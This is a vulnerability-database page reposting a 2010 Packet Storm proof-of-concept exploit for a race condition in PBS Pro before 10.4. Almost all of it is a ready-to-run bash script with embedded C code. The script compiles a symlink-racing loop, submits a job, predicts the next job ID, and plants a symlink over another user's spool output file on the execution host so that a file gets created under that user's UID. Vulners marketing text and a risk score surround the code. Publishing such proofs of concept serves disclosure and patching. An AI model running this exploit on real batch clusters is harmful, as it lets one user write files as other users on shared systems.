Lucene search
K

PBS Pro Race Condition

🗓️ 08 Jul 2010 00:00:00Reported by Bartlomiej BalcerekType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

PBS Pro Vulnerability Exploi

Code
`#!/bin/bash  
#set -x  
# PBS Pro < 10.4 o+w race condition vulnerability Proof Of Concept by Bartlomiej Balcerek - [email protected]   
# Must be run on submitting host and will create /tmp/pbs_test_by_bartol file on exec host as a next job owner UID  
echo Compiling racer...  
cat << EOF | gcc -x c -o racer.x -  
//repeatedly tries to create arbitrary choosen link  
#include <unistd.h>  
  
int main(int argc, char* argv[])  
{  
if (argc < 3) {printf("%s","Need 2 arguments!");exit(1);}  
while (1) symlink(argv[1],argv[2]);   
};   
EOF  
if [ ! -x racer.x ]; then echo "Cannot compile C code, do you have gcc installed ?" ;exit 1; fi   
echo Submitting job...  
jobname=`echo hostname | qsub -j oe -o out.txt`   
sleep 2  
host=`cat out.txt`  
if [ -z $host ]; then echo "Cannot determine next execution host, is quere working ?"; exit 1;fi  
rm out.txt  
echo Next job will be run on $host  
echo Copying racer to $host...  
scp ./racer.x $host:/tmp  
echo Calculating job id...  
jobid=`echo $jobname | cut -d . -f 1`  
jobid=$(($jobid+1))  
if [ ! $jobid -ge 0 ]; then echo "Cannot determine next job ID!";exit 1;fi  
echo Next job ID will be $jobid  
hostname=`echo $jobname | cut -d . -f 2`  
echo Running racer...submit job as different user, than push Ctrl+C after while.  
ssh $host -- \(/tmp/racer.x /tmp/pbs_test_by_bartol /var/spool/pbs/spool/${jobid}.${hostname}.OU \)  
ssh $host -- killall racer.x  
echo /var/spool/pbs/spool on $host content:  
ssh $host -- ls -latr /var/spool/pbs/spool  
echo Cleaning up...  
ssh $host -- unlink /var/spool/pbs/spool/${jobid}.${hostname}.OU  
ssh $host -- ls -latr /var/spool/pbs/spool  
ssh $host -- rm -v /tmp/racer.x  
rm -v racer.x  
  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2010 00:00Current
7.4High risk
Vulners AI Score7.4
28